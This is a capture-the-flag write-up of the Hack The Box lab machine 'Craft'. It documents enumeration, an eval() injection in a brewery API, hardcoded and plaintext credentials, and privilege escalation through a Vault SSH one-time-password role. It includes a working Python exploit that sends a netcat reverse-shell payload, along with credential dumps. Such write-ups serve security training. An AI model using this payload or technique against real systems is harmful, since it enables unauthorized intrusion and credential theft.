Hack The Box - Craft
Hack The Box - Craft
Quick Summary
Hey guys, today Craft retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.110
, I added it to /etc/hosts
as craft.htb
. Let’s jump right in !
Nmap
As always we will start with nmap
to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/craft# nmap -sV -sT -sC -o nmapinitial craft.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-03 13:41 EST
Nmap scan report for craft.htb (10.10.10.110)
Host is up (0.22s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp open ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after: 2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.97 seconds
root@kali:~/Desktop/HTB/boxes/craft#
We got https
on port 443 and ssh
on port 22.
Web Enumeration
The home page was kinda empty, Only the about info and nothing else:
The navigation bar had two external links, one of them was to https://api.craft.htb/api/
and the other one was to https://gogs.craft.htb
:
<ul class="nav navbar-nav pull-right">
<li><a href="https://api.craft.htb/api/">API</a></li>
<li><a href="https://gogs.craft.htb/"><img border="0" alt="Git" src="/static/img/Git-Icon-Black.png" width="20" height="20"></a></li>
</ul>
So I added both of api.craft.htb
and gogs.craft.htb
to /etc/hosts
then I started checking them.
https://api.craft.htb/api
:
Here we can see the API
endpoints and how to interact with them.
We’re interested in the authentication part for now, there are two endpoints, /auth/check
which checks the validity of an authorization token and /auth/login
which creates an authorization token provided valid credentials.
We don’t have credentials to authenticate so let’s keep enumerating.
Obviously gogs.craft.htb
had gogs
running:
The repository of the API
source code was publicly accessible so I took a look at the code and the commits.
Dinesh’s commits c414b16057
and 10e3ba4f0a
had some interesting stuff. First one had some code additions to /brew/endpoints/brew.py
where user’s input is being passed to eval()
without filtering:
@@ -38,9 +38,13 @@ class BrewCollection(Resource):
"""
Creates a new brew entry.
"""
-
- create_brew(request.json)
- return None, 201
+
+ # make sure the ABV value is sane.
+ if eval('%s > 1' % request.json['abv']):
+ return "ABV must be a decimal value less than 1.0", 400
+ else:
+ create_brew(request.json)
+ return None, 201
@ns.route('/<int:id>')
@api.response(404, 'Brew not found.')
I took a look at the API
documentation again to find in which request I can send the abv
parameter:
As you can see we can send a POST
request to /brew
and inject our payload in the parameter abv
, However we still need an authorization token to be able to interact with /brew
, and we don’t have any credentials.
The other commit was a test script which had hardcoded credentials, exactly what we need:
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+json_response = json.loads(response.text)
+token = json_response['token']
+
+headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
+
+# make sure token is valid
+response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
+print(response.text)
+
I tested the credentials and they were valid:
RCE –> Shell on Docker Container
I wrote a small script to authenticate, grab the token, exploit the vulnerability and spawn a shell.
exploit.py
:
#!/usr/bin/python3
import requests
import json
from subprocess import Popen
from sys import argv
from os import system
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
GREEN = "\033[32m"
YELLOW = "\033[93m"
def get_token():
req = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
response = req.json()
token = response['token']
return token
def exploit(token, ip, port):
tmp = {}
tmp['id'] = 0
tmp['name'] = "pwned"
tmp['brewer'] = "pwned"
tmp['style'] = "pwned"
tmp['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f')".format(ip,port)
payload = json.dumps(tmp)
print(YELLOW + "[+] Starting listener on port {}".format(port))
Popen(["nc","-lvnp",port])
print(YELLOW + "[+] Sending payload")
requests.post('https://api.craft.htb/api/brew/', headers={'X-Craft-API-Token': token, 'Content-Type': 'application/json'}, data=payload, verify=False)
if len(argv) != 3:
print(YELLOW + "[!] Usage: {} [IP] [PORT]".format(argv[0]))
exit()
ip = argv[1]
port = argv[2]
print(YELLOW + "[+] Authenticating")
token = get_token()
print(GREEN + "[*] Token: {}".format(token))
exploit(token, ip, port)
Turns out that the application was hosted on a docker container and I didn’t get a shell on the actual host.
/opt/app # cd /
/ # ls -la
total 64
drwxr-xr-x 1 root root 4096 Feb 10 2019 .
drwxr-xr-x 1 root root 4096 Feb 10 2019 ..
-rwxr-xr-x 1 root root 0 Feb 10 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 3 17:20 bin
drwxr-xr-x 5 root root 340 Jan 3 14:58 dev
drwxr-xr-x 1 root root 4096 Feb 10 2019 etc
drwxr-xr-x 2 root root 4096 Jan 30 2019 home
drwxr-xr-x 1 root root 4096 Feb 6 2019 lib
drwxr-xr-x 5 root root 4096 Jan 30 2019 media
drwxr-xr-x 2 root root 4096 Jan 30 2019 mnt
drwxr-xr-x 1 root root 4096 Feb 9 2019 opt
dr-xr-xr-x 238 root root 0 Jan 3 14:58 proc
drwx------ 1 root root 4096 Jan 3 15:16 root
drwxr-xr-x 2 root root 4096 Jan 30 2019 run
drwxr-xr-x 2 root root 4096 Jan 30 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 30 2019 srv
dr-xr-xr-x 13 root root 0 Jan 3 14:58 sys
drwxrwxrwt 1 root root 4096 Jan 3 17:26 tmp
drwxr-xr-x 1 root root 4096 Feb 9 2019 usr
drwxr-xr-x 1 root root 4096 Jan 30 2019 var
/ #
Gilfoyle’s Gogs Credentials –> SSH Key –> SSH as Gilfoyle –> User Flag
In /opt/app
there was a python script called dbtest.py
, It connects to the database and executes a SQL
query:
/opt/app # ls -la
total 44
drwxr-xr-x 5 root root 4096 Jan 3 17:28 .
drwxr-xr-x 1 root root 4096 Feb 9 2019 ..
drwxr-xr-x 8 root root 4096 Feb 8 2019 .git
-rw-r--r-- 1 root root 18 Feb 7 2019 .gitignore
-rw-r--r-- 1 root root 1585 Feb 7 2019 app.py
drwxr-xr-x 5 root root 4096 Feb 7 2019 craft_api
-rwxr-xr-x 1 root root 673 Feb 8 2019 dbtest.py
drwxr-xr-x 2 root root 4096 Feb 7 2019 tests
/opt/app # cat dbtest.py
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
/opt/app #
I copied the script and changed result = cursor.fetchone()
to result = cursor.fetchall()
and I changed the query to SHOW TABLES
:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SHOW TABLES"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
There were two tables, user
and brew
:
/opt/app # wget http://10.10.xx.xx/db1.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db1.py 100% |********************************| 629 0:00:00 ETA
/opt/app # python db1.py
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
/opt/app # rm db1.py
/opt/app #
I changed the query to SELECT * FROM user
:
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM user"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
The table had all users credentials stored in plain text:
/opt/app # wget http://10.10.xx.xx/db2.py
Connecting to 10.10.xx.xx (10.10.xx.xx:80)
db2.py 100% |********************************| 636 0:00:00 ETA
/opt/app # python db2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
/opt/app # rm db2.py
/opt/app #
Gilfoyle had a private repository called craft-infra
:
He left his private ssh
key in the repository:
When I tried to use the key it asked for password as it was encrypted, I tried his gogs
password (ZEU3N8WNM2rh4T
) and it worked:
We owned user.
Vault –> One-Time SSH Password –> SSH as root –> Root Flag
In Gilfoyle’s home directory there was a file called .vault-token
:
gilfoyle@craft:~$ ls -la
total 44
drwx------ 5 gilfoyle gilfoyle 4096 Jan 3 13:42 .
drwxr-xr-x 3 root root 4096 Feb 9 2019 ..
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 2019 .config
drwx------ 2 gilfoyle gilfoyle 4096 Jan 3 13:31 .gnupg
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 2019 .ssh
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw------- 1 gilfoyle gilfoyle 5091 Jan 3 13:28 .viminfo
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9gilfoyle@craft:~$
A quick search revealed that it’s related to vault
.
Secure, store and tightly control access to tokens, passwords, certificates, encryption keys for protecting secrets and other sensitive data using a UI, CLI, or HTTP API. -vaultproject.io
By looking at vault.sh
from craft-infra
repository (vault/vault.sh
), we’ll see that it enables the ssh
secrets engine then creates an otp
role for root
:
#!/bin/bash
# set up vault secrets backend
vault secrets enable ssh
vault write ssh/roles/root_otp \
key_type=otp \
default_user=root \
cidr_list=0.0.0.0/0
We have the token (.vault-token
) so we can easily authenticate to the vault and create an otp
for a root ssh
session:
gilfoyle@craft:~$ vault login
Token (will be hidden):
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.
Key Value
--- -----
token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration ∞
token_renewable false
token_policies ["root"]
identity_policies []
policies ["root"]
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
Key Value
--- -----
lease_id ssh/creds/root_otp/f17d03b6-552a-a90a-02b8-0932aaa20198
lease_duration 768h
lease_renewable false
ip 127.0.0.1
key c495f06b-daac-8a95-b7aa-c55618b037ee
key_type otp
port 22
username root
gilfoyle@craft:~$
And finally we’ll ssh
into localhost
and use the generated password (c495f06b-daac-8a95-b7aa-c55618b037ee
):
gilfoyle@craft:~$ ssh root@127.0.0.1
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~#
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Smasher2
Next Hack The Box write-up : Hack The Box - Bitlab